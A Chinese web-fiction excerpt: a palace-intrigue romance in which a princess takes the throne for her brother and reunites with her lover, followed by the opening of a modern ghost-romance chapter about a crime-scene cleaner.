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那日,我在花园中远远瞧见你和他相谈甚欢,你的眉眼间尽是我从未见过的温柔与笑意,那一瞬间,我只觉周围的一切都变得灰暗无光。 我为你出生入死,在战场上浴血奋战,只为能给你撑起一片安稳天地,可我的付出在你眼中,是不是都比不上他的只言片语? 公主,你可知我每次看向你的眼神里,藏着多少深情与眷恋?我在深夜里辗转反侧,脑海中全是你的如花笑颜。 为了能让你注意到我,我拼命立下战功,只为能站在离你更近的地方。 可如今,这份爱却成了我心头沉重的枷锁,压得我喘不过气。 我不敢质问你,亦不敢向你倾诉我的爱意,只能将这份酸涩深埋心底。 或许,从一开始,我就不该奢望能得到你的回应,不该妄图走进你的心。 可我真的放不下,哪怕只是远远地看着你,对我来说,也是一种慰藉。 可如今,你牵着别人的手,迈向我曾无数次幻想与你共赴的远方。我站在原地,看着你们的背影渐渐模糊,心中五味杂陈。 我不怪你,真的,爱本就难以掌控。 只是,未来的日子,我该如何在这无望的爱里继续沉沦,又该如何面对你和他之间的种种,我竟全然没了主意 。 我能怎么办呢?爱本就是覆水难收,我收不回来的,只能任由自己沉沦在这场一厢情愿里。 因为我见过你在乎别人的样子,所以我明白,你不在乎我。 我难过的不是你不在乎我,我难过的是你从来没有考虑过选我。 丁年养伤的这段日子,卫韫日日都来找虞岁,但是虞岁不见他,不为别的,一来虞岁没有消气;二来,太多双眼睛盯着公主府,卫韫大胜归来,这时候还是避其锋芒的好;三来,丁年也不知道在闹什么,听到卫韫来就不按时喝药。 “公主,卫将军走了。” 虞岁抚额,“丁年如何了?” “已经喝下药了,初九说,他的伤已无大碍,只要不剧烈运动,避免伤口裂开,很快就会愈合,她还问您,需不需要开贴药,让他不留疤?” “问我?这种事不该问本人么?” “咳,初九说,作为面首,丁年的身体是属于您的,所以问本人不如直接问您。” 虞岁想了想,觉得初九说的很对,“初九很是上道,我倒是无所谓,你去问丁年吧。” “呃,其实奴婢问过了,丁公子跟初九说的一样。” “那就顺其自然吧,不用过多干预。” “公主,还有一件事,卫将军送了好几封信来,您是准备弃了这枚棋子么?” “阿元,你觉得我现在光明正大的与卫韫交好,合适么?” “不太明智,听闻近来皇上迷恋寻仙问药,想要长生不老。” “何止,那老道还出了个判词,「帝星暗,女行舟」,就差指着我鼻子说我是祸国妖孽了。” “这……无论是女,还是舟,都在指您……甚至您的母妃和丁公子……也是名中带舟的。” “吩咐下去,事态正热,不要轻举妄动,这种情况下,出一点差错,都会做实判词。” “什么都不做,时间久了,事情就冷下来了。” “即使什么都不做,在我父皇心里,也种下了忌讳的种子,这就是这招的毒辣之处,可惜了,白白摆了一副我痴迷男色的棋局,都还没来得及发挥。” “鲜少见您这般感叹。” 虞岁抬头看了看灰蒙蒙的天,一声轻叹,“这张网,织的很密。” “再密,也难不倒你”,丁年从回廊的另一端不疾不徐的走来。 虞岁嘴角勾起一抹浅笑,“丁年,你且看着,我如何破局,带你杀个回马枪。” 颂虞十五年冬,颂帝的身体时好时坏,朝堂上的局势愈发紧张。 民间流言四起,凉月前太子丁年,心怀不轨,想要借助念舟公主的力量复国,传的绘声绘色。 而念舟公主,正是「帝星暗,女行舟」中的女,怕是颂虞要出第一位女帝了。 这场连环计的收尾,是洛太尉带着证据,于朝堂之上举报丁年暗通外敌,窃取军中机密,让丁年成为众矢之的。 颂帝还来不及下旨处置,就在龙椅上撅过去了。 公主府偏僻的佛堂前,毒七躬身汇报完,“主子,现下正是您脱身的最佳时机,咱们的网都布好了,只等您回去就收网,届时您振臂一呼,无数旧部就会拥立您上位。” “我走了,虞岁怎么办?” “主子,大业唾手可得,您不能儿女情长。” “你走吧。” “主子!不能糊涂啊!来的时候国公爷说了,您若是实在舍不得,可以带长公主一起走,但是只能收用,不能给名分,国公爷早已为您选好了王后人选,容貌家世均可与您匹配。” 丁年哼笑一声,“容貌家世?与我匹配?你倒是展开说说,这世间,还有谁,容貌在虞岁之上?家世在虞岁之上?还有谁的容貌家世能压得过我与我匹配?来,你说说,我听听。” “主子,您就别为难毒七了。在这世上,在您心里,除了虞岁长公主,哪里还容得下别人?” “你们都明白才行。回去复命吧,转告舅舅,除了虞岁,我谁都不要。若他一意孤行,那所有旧部的人,一朝天子一朝臣的念头不过是黄粱一梦,如梦幻泡影。” 虞岁,如果尽头不是你,那这条路走了也没意义。 有的人,因为背负了太多,诸般因果如枷锁,困住本我,没的选,看似绝情却有情,譬如虞岁; 有的人,也是承载了太多,放手时反而更洒脱,因为一无所有,所以外界加诸的一切反噬的时候更凶,看似有情最无情,譬如丁年。 丁年回去找虞岁,路过花园就见卫韫站在凉亭中给坐着的虞岁斟茶,目光殷殷都要黏在虞岁脸上了,透着旁人难以忽视的热络。 也不知道说了什么,全然一派言笑晏晏相谈甚欢的局面。 丁年看了一会儿,觉得眼睛干涩涩的,拂袖而去。 等虞岁回到内殿的时候,正疑惑怎么没人掌灯,就听幽暗处传来丁年的声音,“公主好雅兴,这样冷的天,还有兴致围炉饮茶。” 虞岁有些好笑,打趣他,“嗯,茶不错,你呢?醋也不错么?” 丁年从暗处走出来,“虞岁,你就一定要吊着那个卫韫么?不能是我么?我只问一次,不能只看着我么?” 虞岁坐到窗前,“可以看你,前提是,让我看到你的价值。我最宠爱的,面首。我就在这高台之上,等着你,来取,问题是,你够得到么?别问我要什么,先问问你自己,凭什么;再问问自己有什么;再问自己能给什么,能给得起什么。” “虞岁,不是只有你为我费尽心思,我也是。” “丁年,你看,又下雪了?这次,你还想要白头么?” “白头偕老太短,这一次我想争一个朝朝暮暮。可以么?我的公主。” “丁年,在遇到你之前,念舟的舟是野渡无人舟自横的舟,遇到你之后,念舟的舟是舟人水鸟两同梦,大鱼惊窜如奔狐的舟。” 听到虞岁这番言语,丁年心间仿若被春风拂过,爱意如繁花瞬间盛放,每一处缝隙都溢满了欣喜,他的眼眸中闪烁着熠熠星光,那是他给她的、独属于她的、能溺死人的温柔。 丁年走过去,步伐急切却又带着克制,每一步都踏在心跳的鼓点上。 走到她身前,他缓缓俯身,手臂有力地穿过她的膝弯与后背,将她稳稳抱起,虞岁下意识地环住他的脖颈,丁年的心跳陡然加快,抱着她的手也微微收紧。 他抱着虞岁走向榻边,一路上,目光始终紧紧黏在她的脸上,她的眉,她的眼,她的唇畔,无一不动人。 来到榻前,他微微弯腰将虞岁轻轻放在柔软的床榻上,床榻发出一声细微的吱呀,像是在为这场爱意的交融轻吟前奏他直起身,反手放下帷幔,轻纱如雾般飘落,将两人与外界隔绝开来。 丁年欺身上前,眼神里的炽热几乎要将空气点燃。 他虔诚的在虞岁的额头上印下一吻,温热的触感如同春日暖阳,轻柔地洒落在虞岁的肌肤上,带着无尽的怜惜。 “可以么?”,他的尾音发颤。 虞岁没有出声,浅笑嫣然的用手指轻轻勾了勾他的掌心。 丁年像是得到了鼓励般,爱怜的亲吻她的眉眼,像是在亲吻世间最珍贵的星辰,他的唇摩挲着她的眼睑,感受着她睫毛微微的颤动,那是爱的回应。 他的吻寻到了她的唇,辗转厮磨,带着积攒已久的眷恋与渴望,两人的呼吸交织在一起,分不清彼此。 他的吻一路向下,沿着她优美的脖颈,轻轻落下,像是蝴蝶轻触花蕊,每一个吻都饱含深情。 他的手也不自觉地在她腰间轻轻摩挲,带着试探与爱意。 虞岁的脸颊愈发滚烫,呼吸也变得急促起来,她微微仰头,沉浸在这炽热的爱怜之中。 丁年的吻落在她的锁骨,留下一个个温热的印记,他的气息喷洒在她的肌肤上,惹得她一阵轻颤。 帷幔内,光影随着烛火轻轻摇曳,映照着两人交叠的身影,似是在为这场炽热的爱恋留下最动人的剪影 。 雪,毫无征兆的落下了。大片大片,自铅灰色的苍穹翩跹而下,似是天地间最纯粹的思念具象。 庭院里,精心照料出的特殊海棠开得正盛,花瓣像是被精心晕染过的胭脂,在雪中半掩半现。雪花簌簌,迫不及待地栖落在海棠枝头,像是无数个轻盈的梦,试图拥抱这一抹热烈的红。 雪与海棠的交融,是一场无声的对话。海棠花瓣在雪的轻抚下微微颤动,似是在低吟,又似在浅诉。 每一片雪花的落下,都像是命运的一次叩问,而海棠的每一次摇曳,都是灵魂深处的回应。 那是一种超脱言语桎梏的契合,于雪的簌簌低语与海棠馥郁甜香的交融里,彻底沉沦。 分不清究竟是雪的凛冽冰冷,悄然唤醒了海棠的每一寸感官,让一切都变得敏锐且鲜活;还是海棠那明艳到极致的热烈,毫无征兆地点燃了雪花的纯欲,使之熊熊燃烧。 雪与海棠的交织,分不清是雪融入了海棠的嫣红,还是海棠晕染了雪的洁白。 虞岁,即使他日隔着千座城池万缕炊烟我也不会再黯然神伤,我始终镌刻眷念与你的每寸时光 。 丁年你知道么?我讨厌念舟这个名字,没有任何美好的寄托,但是我知道你的表字是引舟,我才觉得,念舟很不错,是仙品。 隔天一早,天光微曦,丁年醒来,身旁已经不见虞岁的身影,仿佛昨日的一切又是丁年的一场绮梦。 只有凌乱的被褥和隐藏其间的斑斑红痕昭示着这场情事的真实存在。 丁年推开门,院中只有卫韫坐在石桌前,失神的看着桌上的茶盏,不知坐了多久。 “岁岁呢?”,丁年走过去看着卫韫。 卫韫抬头,“岁岁?你也配?” 丁年也不恼,状似无意的理了理衣领,不经意的漏出领口下若隐若现的指痕和红印,看着卫韫骤然变了的脸色,满意的笑了。 卫韫深吸了口气,“公主让我来送你走。” 丁年倒茶的手顿住,“什么意思?” “朝堂动荡,她自顾不暇,唯恐遏制不住事态的发展,护不住你,所以送你走。” “我不走,我要见她。” 卫韫觉得脑仁突突直跳,“你知道你在说什么吗?这种境遇下,你有一步行差踏错,都会把她推到风口浪尖!” “我知道,所以我要见她!我与她,生生死死,都要在一处!” 见吧活爹,谁能作的过你啊! 忽有狂徒夜磨刀,帝星飘摇荧惑高。 养心殿旁的偏殿,阿元事无巨细的给虞岁汇报:“公主,现在的局面有些复杂,陈相和二皇子已经笼络了前朝半数官员,洛太尉和六皇子收纳了军中要员,十万大军已经在城门口驻扎下,现在都等着皇上写下遗诏……阿妄传话来,皇后在数月前已经悄悄的给皇上下药,二皇子的新帝朝服都已经制好了,如今,时不待人了。” 虞岁的手指轻轻叩了叩桌面,“洛茄和陈思蒙有什么动作?” “洛妃一直在收集证据,一定要拉您下水,陈妃一直在养心殿侍疾,眼下,她是唯一能近距离接触到皇上的妃子。” “你刚刚说,前朝和军中,他们只收了半数官员,另外半数呢?” “在咱们殿下手里,只是虎符下落不明。” 虞岁唇角扬起一抹笑意,“虎符,在卫韫手里,如此,事情就变得简单起来了。去通知阿野,不要把目光盯在前朝这些小儿科的党争上,让他联络好手中可用的人,这一局,咱们从源头厮杀。” “公主是要?”,阿元说着,指了指养心殿的方向,做了个灭的手势。 “化繁为简,只要我先所有人一步拿到诏书,其他的事就都不算事,阿元,欺世盗名,你怕不怕?” “公主心之所向,阿元剑锋所指,无惧无畏。” “你亲自走一趟,去找初九换了我父皇常喝的药,不要一步到位能被探查出来的,要分两步,跟他常喝的药相悖的两味药,你去交给陈思蒙一味,再给洛茄一味。” “公主,洛妃和陈妃怎么会为您所用?” “这世上,没有绝对不臣服的人,如果有,说明你给的利益没有打动她。你去告诉陈思蒙,我允她自由,若她不肯,你便直接杀了她;再去告诉洛茄,若她不肯,稍晚我就送她带着丁年的人头上路。” “可即便她们应允了,咱们怎么确定她们真的会做呢?” 虞岁站起身,目光灼灼的盯着窗外的苍松,“很简单,去把我册封念舟公主的冕服拿来,我要亲自去送我的父皇龙驭宾天。” “公主,咱们不用藏在后面么?省的走漏风声将来被世人唾弃。” 虞岁的野心和狠意漫上眼角眉梢,“成败在此一举。世人唾弃?史书是上位者浓墨重彩的颂歌,输家,不过几行字罢了,无人在意。更何况,你以为如果咱们败了,还有机会上史书?一抔黄土掩烬辛酸,连罄竹难书的资格都没有。” “奴婢这就去准备”,阿元说着打开门,待看清门口的丁年和卫韫,回头看了一眼虞岁,低声说:“公主,丁公子和卫将军来了。” “你去做事,让他们进来。” 丁年和卫韫一前一后进来,屋内烛火摇曳,将他们的身影拉长在青砖地面上。 虞岁抬眸,目光从二人身上扫过,神色平静,可那眼底深处的锐利却如寒星般闪烁,“不是说了让你走么?” 虞岁看向卫韫,说的却是丁年。 卫韫看了丁年一眼,眼底的意思很明确,解释吧,让你走为什么不走。 丁年直直的看着虞岁,“我想同你在一处。” 虞岁颇为耐心的给他分析局势,“眼下的境况,你先走,是上策。” “那你呢?能全身而退么?” “丁年,不要这幅小女儿姿态,你该清楚,我的安排都有道理。” “可你顾及所有人,唯独不会顾及你自己。” 虞岁忽然就有些倦了,“丁年,其实你的人都已经部署好了一切,不是么?你有你的路要走,我有我的棋要步,我们之间,就到这了,但遇往春日不迟,你我相逢或有时。” “虞岁,我有时候真的看不透你,你有心么?这样绝情的话,你怎么忍心说?昨日种种,算什么?” “算你命好,丁年。” 丁年感觉喉咙处一口甜腥之气翻涌,他强忍着,不想在卫韫面前露怯。 可那股酸涩却如附骨之蛆,随着心跳愈发汹涌,他的手不自觉地攥紧衣角,指节泛白,眼前也渐渐泛起一层薄雾。 卫韫清咳一声,这种情况,他再杵在这就不礼貌了,“公主,需要我做什么?” “带着你的虎符,去西郊大营点兵,今夜亥时,若成事,雪里开烟花为号,你便进宫勤王清君侧;若不成,把我弟弟,阿元,阿妄,初九和……他,都送走,我在邻国有一处独立的岛,将他们好生安置。” “那你呢?” “不成功,便成仁。” 卫韫忽而展颜,笑意纯粹而炽热,他一撩袍服单膝跪地,仰头望向虞岁,眼中满是忠诚与坚定,一字一句铿锵有力的说:“虞岁,你说不成功便成仁的模样,一如初见那日你野心勃勃的说欲揽这天下入怀的样子。臣,愿为长公主殿下,披荆斩棘,肝脑涂地,死而后已!” “如此,预祝我们举事顺利,合作愉快,辅国公卫太傅。” “臣,领命”,卫韫说完起身,快步走出偏殿。 待到室内只剩下二人的时候,虞岁看向丁年,这是她为自己选的战利品,本来只是一枚任她摆弄的棋子,是从什么时候起,棋子的分量重了呢? 罢了,乾坤未定,多说无益。 即使败了,也无憾了,起码,她有过战利品,只属于她的,半生谋战,帷幄筹利,专属品。 “丁年,棋局已定,你我不过一场露水燕好,何苦眼眶红红作茧自缚?往前走吧,从此山水万程,旧愁皆化风轻,愿你繁华重重。” “虞岁,你对我,步步都是绝杀,却问我为何双眼泪花?” “情殇缘尽难留往,莫怪予为薄幸娘。” 丁年闭了闭眼,再睁眼,眼底血丝缕缕,他从袖中取出一块玉珏,“这是我母族旧部星莲军的信物,见信物如见我,所有资源都会向你倾斜,凭此玉珏,月影卫任你驱使,无论你想做什么,势必无往而不利。” 虞岁叹了口气,“丁年,何必呢?我说的还不够明白么?” “听懂了,你不要我了。没关系,那是你的事,同样的,我怎么做,是我的事。虞岁,只要你想,无论多难,我都一定会回到你身边。” 此后隔着九重天阙万丈红尘我也不会惆怅,余生隔着八荒天地六道轮回你也不必哀伤,我始终珍视与你的时光情长。 等阿元准备好一切回来的时候,就看到虞岁静静的坐在榻上,周身散发着浓浓的哀伤。 阿元有些慌,这是她第二次见到虞岁如此情绪外漏,上一次还是兰妃娘娘殁了的时候…… “公主,怎么了?” “没什么,只是想到再也不是海棠花开的季节,有些伤怀。” “公主,咱们宫中多的是花艺精湛的匠人,只要您想看,可以时时常开。” “是啊,即便季节不对,也要有好的花匠精心打理。” “公主……您…” “罢了,梳妆吧。” 穿冕服的时候,虞岁把丁年留下的玉珏佩在礼衣内侧。 阿元看到那玉珏上有引舟二字,终是没忍住,“公主,即便是您按照原计划行事,丁公子也不会悖逆您,何苦绕这么大弯子呢?” 虞岁的原本计划要将丁年关起来,再故意放出要严惩丁年的消息,只为引蛇出洞,把那些隐藏在暗处的各方势力一网打尽。 “大概是因为,我不够狠吧,他就像是我的恻隐之心。现在这样也好,效果跟原计划是一样的,甚至更简单粗暴直截了当。洛茄和陈思蒙怎么说?” “都答应下来了,一个时辰后,您从偏殿的暗门过去。” “诏书拟好了么?” “准备妥当了,阿妄传信回来,已经得手,二皇子突染恶疾,那边现在乱作一团。” “阿妄亲自做的?能脱身么?” “借了二皇子府上的一个侍妾之手,已然趁乱脱身,现下在咱们殿下那边待命。” “如此,甚好。” “公主,放丁年走,你会后悔么?若有来日,他的价值,很大。” 虞岁自嘲的笑笑,“丁年他,偏偏要在荆棘丛中与我一同披斩,我知他勇猛如虎,所以我做了降者,解甲归田,解鞍卸辔。若是他胜了,众人会称他壮志凌云,于险途披荆斩棘,功成名就,讽我舍本逐末,畏缩不前,一身耻辱,无所谓了,谁说傲者易折,我偏偏见不得他折 。” 西郊大营,卫韫现在看到丁年就头疼,“不是让你走了么?这又是哪出戏?” “我走了啊,这不是出宫了么?” “我说你好歹也是一国前太子,没有点自己的事么?” “有,都办妥了。” “你自己看看你在这合适么?” “废话,不合适我怎么会来?” 卫韫突然认真的问:“丁年,你是不是很怕?” 丁年认真而郑重的点头:“很怕。怕这辈子再也见不到虞岁,无论以什么身份,这是我一生,唯一的软肋。” 养心殿内,虞岁眸光冷厉森然的看着床塌上的颂帝,这一天,这样的情景,她在过去的无数个日日夜夜里,推演过无数次。如今,终于被她等到了。 “公主,这是试药,只要这副药下去,皇上能醒,就说明陈妃和洛妃的两副药都给皇上灌进去了。若是不成,奴婢,也有后手。” “外头是咱们的人么?” “公主安心。” “灌下去。” 阿元依言,粗鲁的把药灌进颂帝嘴里,不多时,颂帝幽幽醒转。 “念舟啊,你来了”,颂帝的声音像老旧的破风箱,呼啦啦的。 虞岁笑的乖巧,“父皇,我来拿我弟弟即位的诏书。” “混账!”,把颂帝气的差点坐起来。 “父皇,你知道我弟弟叫什么么?虞野,野种的野,你起的名。” 颂帝气的额头青筋毕露,反复的咒骂,混账,混账! “父皇,你看看你给他们赐的名字,念稷,江山社稷的稷;念安,平安喜乐的安;念宗,宗室基业的宗;我呢?念舟,你以为我不知道你那些龌龊事么?当年我母妃本是其母族最具天赋的圣女,是你于兰舟之上亵渎了她!我的名字正是你为了回味那晚兰舟摇曳得幸佳人的别样感觉!留人不住,醉解兰舟去!我和我弟弟本就是你荒淫无道,强幸而来!可恨你还怀疑弟弟是野种!逼得我母妃以死明志!”,虞岁的声音清清泠泠,像带着刮骨钢刀,刀刀凌迟颂帝脆弱的神智。 她每说一句,颂帝的眼神就浑浊一分。 直到颂帝神智不清的说了句,“兰儿,你终于肯来见我了。” 虞岁循循善诱,“陛下,你的国玺在哪里?咱们的孩子想要,想做像陛下一样顶天立地的英雄。” 颂帝扯着他破风箱似的嗓子笑的开怀,脸上还爬上一抹羞赧的红晕,“在……在离你最近的地方,兰儿,你来了……就……就别走了……” 虞岁心念一动,唤过阿元,说了个地方,转头敷衍着颂帝:“我不走,即使走,也要你陪我一起走,你愿意么?” “公主,拿到了。” 颂帝喘着粗气,“去……去哪里……我愿……愿意……” 虞岁俯身,缓缓凑到颂帝耳边,“去死吧。我亲爱的父皇,上穷碧落下黄泉,两处茫茫皆不见,你不配,提我母妃的名讳。” 颂帝的情绪变得激动,他张大嘴,想喊出虞岁母妃的名字,一个兰字的音刚蹦出一半,“阿元,封死他的穴道,太吵了。” 虞岁看着这个戎马一生,褒贬不一的皇帝,在人生的最后一程,就像一只被困在笼中的困兽,无声又无力地挣扎着。 虞岁缓缓直起身子,居高临下地看着颂帝,嘴角勾起一抹嘲讽的笑,“你这一生,征战无数,杀伐不断,坐拥天下,可曾有一刻真心悔过?你为了这皇位,将我母妃弃如敝履,任由她含冤莫白。这么多年,我忍辱负重,就是为了等这一刻。” 亥时,墨色的夜幕绽开璀璨的烟火,铃铛样的烟花于永夜处盛开,怒放。 丁年随着卫韫的大军一起进宫厮杀,事毕,满身血污,带着别人的血,自己的血,和虞岁给他的伤,不知所踪。 他在她看不到的地方,面面俱全的为她铺好了所有的路。 颂虞十五年冬,颂帝薨逝,传位于五皇子虞野。 同年末,良帝登基,改国号为同舟,授长姐虞岁为护国长公主,享天子仪仗权柄。 追封生母兰妃为母后皇太后。 阿妄反复端详着圣旨,“公主,长公主殿下,您终于苦尽甘来了。” 倒是虞岁,有些兴致缺缺,“阿妄,你有什么打算?阿野是个可堪托付之人,你可以考虑考虑他。” “公主,阿妄不能一直陪着你么?” “不能。我想四处走一走,这方永夜困了我太久,我想去找找我的星河。” 阿元推门进来,“公主,若您需要,万水千山,与您一同前往,若您想独行,阿元会在这里等您回来。” “山水重重,总有重逢之日。” “公主,卫太傅在殿外。” “让他进来。” 卫韫一见虞岁,整装行了个叩拜大礼,“臣,拜见护国长公主,公主,千岁,千岁,千千岁。” 虞岁手撑着下巴,玩味的调侃他,“看不出来你倒真是个混官场的好料子,愈发酸腐了。” 卫韫起身,坐到虞岁对面,郑重其事的问:“我来,是想问,我现在可以提亲了么?” “你以什么身份来问?辅国公?太傅?还是卫韫?” “虞岁的卫韫跟班。” “不太行,我不跟下属谈感情。” “那……辅国公的身份可堪配你?” “不太行,同僚之间容易公事私事分不开。” “那年酒肆初见,你唤我卫柿子,我们一路扶持厮杀破局,这份情谊不值得珍藏么?” 虞岁笑的意味深长,“既然说是珍藏,就不要轻易拿出来。” 卫韫明白了,“虞岁,我只能在这个位置,对么?” “聪明。我祝你,前路花团锦簇,未来娇妻美妾,子孙满堂,仕途通达,一路青云直上。” “那你呢?” “我要出去走走,我所有的势力都会交给阿野,你的退路我给你留好了,是我的私兵,希望你不会有启动的那天。阿元和阿妄会留下,遇事不决,可以让她们给我传信。私事不要问我,你知道的,我不喜欢太黏人的。” “不能留下么?还留了后路?” “卫韫,花无百日红,缘分终有时,不要太相信任何关系。如今老二和老六都废了,前朝的动荡阿野自己能应付过来,是我事了拂衣去,深藏功与名的时候了。过犹不及的道理,你要记得。” “还会再见么?” “会吧,也许在下一段路,也许在下一个结局。” 卫韫看懂了,虞岁的心里已经塞满了一个人,他来的早了,也来的晚了。 没关系,他只愿她的公主,千岁,千岁,千千岁。 所有人都能看出来,虞岁心里有一个人,忘不了,抹不掉,也不会主动触碰。 丁年,有一句话我那晚没有说出口,想陪你看月落灯影花重红。 虞岁抵达小岛的时候,正是海棠花盛放的时节,漫天缤纷的花雨中,有一人迎面而来……郎艳独绝,世无其二。 丁年身着一袭道青色长袍,衣袂随风飘动,几缕发丝被风吹起,更衬得他眉眼如画。他的眼中,有惊喜,有眷恋,还有一丝不易察觉的紧张。 虞岁一步一步走向他,腰间玉珏上的引舟二字随着她的动作起伏跳跃。 山风吹拂花入怀,终抵年岁引舟来。 虞岁的视线描摹着丁年的眉眼,“我现在可以只看你了。” “会一直看么?” “未可轻言,且看君之作为。” 听闻公主治国有方,余生,愿闻其详。 13. 虞岁,我拥抱过你了 “这次的活儿,可不是一般人能干的,听说业内没几个愿意去的。”昼川拍了拍丁年的肩膀,神情复杂,“你真决定接?” 丁年紧了紧手中特殊现场清理师的装备,嘴角扯出一抹笑:“昼川老师,我干这行这么久了,什么场面没见过?放心吧,等结束之后给你提供点写作灵感。” “丁年,真看不出来啊,想当初你还是个怕黑的胆小鬼,现在连鬼都不怕了哈。” “这个呢,就叫做专业,基本的职业素养。” “少来吧你,惊悚电影都不敢看的选手,清理特殊现场的时候倒是眼都不眨一下。” 丁年语气坚定的像要入党,“生在春风里,长在红旗下,我是坚定的唯物主义者。子不语怪力乱神哦昼川老师。” “贫吧你就,也不知道你怎么想的,入了这行。” “这行怎么了?多有意义,减轻了家属的痛苦,维护了公共卫生,还能协助案件调查。在不违背职业道德的情况下,还能给你这个写文佬提供点素材……诶你找我咨询相关专业意见的时候可不是这么说的啊。” “行了,快去吧,完事儿回来再贫。” 等丁年抵达现场,警方的勘查已经结束,现场的危险业已排除,在了解完家属意愿且与家属签署好文件之后,丁年穿好防护服,戴上口罩、手套,推开了半掩着的厚重大门…… 屋内弥漫着淡淡的压抑和难以言喻的血腥味,他的目光迅速扫过四周,地上斑驳的血迹、凌乱的杂物,仿佛在隐晦的记录下这里曾发生的故事。 画室里,一片五彩斑斓的狼藉:地上打翻的颜料罐肆意流淌着色彩,浓稠的颜料与干涸的血渍相互交融,红的、黄的、蓝的、粉的、绿的……这些或生机勃勃,或如梦似幻的色彩,编织出诡异奇幻的画幅。 画笔横七竖八地散落一地,有的断成两截,笔尖的毛杂乱地炸开,像是曾被当作武器激烈挥舞,靠墙的画架歪倒在地,画布被扯下,一角深深浸满血污,在微风的吹拂下,轻轻晃动;墙上,原本挂满画作的地方,如今只剩扭曲变形的画框,歪歪斜斜地挂着,昭显着过往的冲突和现在的静谧碰撞。 从画室通往客厅的楼梯,仿佛是一条充满死亡气息的通道,楼梯上,拖拽的血痕触目惊心,像一条蜿蜒曲折地延伸着的红色小溪。 血痕的宽窄不一,深的地方颜色近乎黑红,那是鲜血大量涌出留下的痕迹;浅的地方则呈现出淡淡的红褐色,台阶上,大滴大滴的殷红血点,犹如生命流逝的残酷注脚。 墙上的挂钟,指针还在滴答滴答地转动,冷漠地见证着这一切,时间的消散对白与生命的深度温度在这里形成了鲜明的对比。 窗帘半拉着,阳光透过缝隙洒在地上,形成一道道光影,却无法驱散这满室的森冷。 浴室的浴缸里,干涸的血迹印出刺目浓稠的红。 丁年闭上眼睛甚至能推演出整个过程的形成轨迹,画室是第一现场,凶手把死者从楼梯拖到客厅,短暂的停留之后,来到浴室…… 丁年深吸一口气,蹲下身子开始整理,职业的本能让他迅速进入状态,不再带有主观的情绪去审视整体的基调,从刚才开始,总感觉少了点什么…… 直到他消毒清洁初步处理完现场,到了整理遗物这一步的时候,才反应过来是哪里不对劲…… 照片,整个现场,没有一张照片。 他清理过很多特殊现场,还是第一次遇到这种情况,因为这是死者的家,很私密性的空间,竟然没有照片。 一缕清风骤起,丁年下意识地抬眼望去,随即呼吸一滞…… 窗边不知道什么时候站了一位身着旗袍明艳动人的女子,身姿婀娜,双眼滟秋波,两脸凝春雪。尊前初见处,琴心绝。 旗袍是改良的样式,棕色系,上面有黑色的龙纹图案,颇具中式韵味,胸口处有一团红色的石榴花样图案。 知性而优雅,衬得她愈发的眉眼如画,眼眸中透着一股灵动与好奇,正一眨不眨地看着丁年。 丁年没来由的想到一句诗,有美一人,清扬婉兮。邂逅相遇,适我愿兮。 “工作过程中闲杂人等不能随便进入,你是?”,丁年很是疑惑,难道是家属还有额外的要求? 女子浅笑,“我叫虞岁,你是谁?怎么会在我家?” 丁年愣了一瞬,“我是清理师,你是家属?”,他本想说来处理尸体,但想到可能会让家属二次伤怀,没有说。 虞岁微微歪着头,好奇地打量着他手中的工具:“特殊现场清理师?听起来很有趣,那你都见过些什么呀?” 丁年被她的反应弄得有些不知所措,以往遇到的家属,不是沉浸在悲痛中,就是对他们这些清理师避之不及,像虞岁这样镇定又好奇的,还是头一回。 不过,他也没多想,只当是她性格豁达,便一边收拾一边和她聊了起来。 “死亡现场,比如高腐、自杀、他杀、意外;灾难现场比如火灾、洪水和……其他现场,”丁年说到一半,突然停住,想到那些惨烈的画面,觉得不该在虞岁面前提起这些。 虞岁却像是来了兴致,追问道:“还有什么?你别卖关子呀。” 丁年无奈地看了她一眼,“还有一些刑事案件的犯罪现场,血腥又残忍,普通人看一眼就会引起生理不适外加做噩梦的程度。” 虞岁的眼睛里闪过一丝异样的光芒,但很快就消失了,“你这工作也挺不容易的,不过听起来很有意义。” 丁年注意到角落里有一个旧画架,上面蒙着一块白布,他的心跳莫名加快,缓缓走过去,伸手揭开了白布…… 是一幅未完成的油画,画面上是一个穿着旗袍的女子,正站在窗前,手里拿着一朵盛开的海棠花,虽然只画了个大概轮廓,但女子的神韵已经跃然纸上。 “这画上的人,好熟悉,是谁呢?”,虞岁凑过来看了一眼,喃喃出声。 “第一眼看上去,很像你。” “这是谁画的呢?为什么画我呢?” “怎么了?”,丁年看她表情有些痛苦,“头疼?” “有一点,总觉得我好像忘了什么重要的事情,但是又想不起来,想的多了就头疼。” “马上结束了,我要走了,你去哪?需要送你么?” 虞岁想了想,“我可以跟你一起走么?我指的是,你去哪里,我就去哪里。” 丁年错愕几秒,“你知道你在说什么么?” “知道啊,就是字面意思,就是你理解的意思。” 行吧,丁年觉得这一天可以载入他的史册了。 出门的时候虞岁撑了把洋伞,丁年看了看并不灼目的太阳,不理解,但尊重,“你这是?” 虞岁笑笑,“最近总觉得阳光刺眼,晒得不舒服,撑把伞好一点。” 书店里,丁年一脸若有所思的搅动着咖啡,昼川有些好笑的问他:“叫我出来看你搅咖啡?” 丁年放下小汤匙,“当然不是,介绍个女孩给你认识。” “我为什么要认识别的女孩,我已经有初礼了。” “哦,那你走吧。” “咳,那你的女孩呢?” “去洗手间了。” 昼川坐直了身子调侃他:“丁年你不是吧?就这么会儿功夫就怅然若失了?你上午确定是出现场了?不知道的还以为你联谊去了。” 丁年失笑,“昼川,你这个嘴啊,也不知道初礼这么多年怎么受的了你的。” “你少扯初礼,就说你现在是什么情况。” “我也说不清,总感觉哪里不对。虞岁她……很不同。” “你完了丁年,你沦陷了,在乎一个人就是从好奇和觉得她与众不同开始的。来,展开说说,哥给你分析分析。” “我也不知道怎么说,她突然就出现在现场,问她是谁她只说自己的名字,问她是不是家属她也说不明白,问她跟死者的关系她也说不清,想的多了她还头疼。” “你跟家属签协议的时候不有死者资料么?姓名和生平不都有么?” “这一点是最奇怪的,死者的脸被划烂了,协议上只有一个名字,没有资料,生平照片都没有,不仅如此,连现场,都没有照片。” “那你实在好奇的话,直接跟她开诚布公的说不就好了?” 丁年正要接话,虞岁已经走过来落座,简单的介绍过后,三人开始闲聊模式。 聊到初礼的时候,昼川周身仿佛镀了一层柔和的圣光,“她现在事业蒸蒸日上,跟明星经纪人一样,我就是她的家庭主夫,等会还得去学校接孩子。” 虞岁突然捂着头,满脸痛苦的表情。 丁年有些慌,“怎么了?还好么?” 虞岁揉了揉额角,“不知道为什么,听他说经纪人这个字眼的时候,脑袋跟撕裂了一样疼。” 虞岁的脸惨白的吓人,“我去洗下脸清醒一下”,说完,她起身去洗手间。 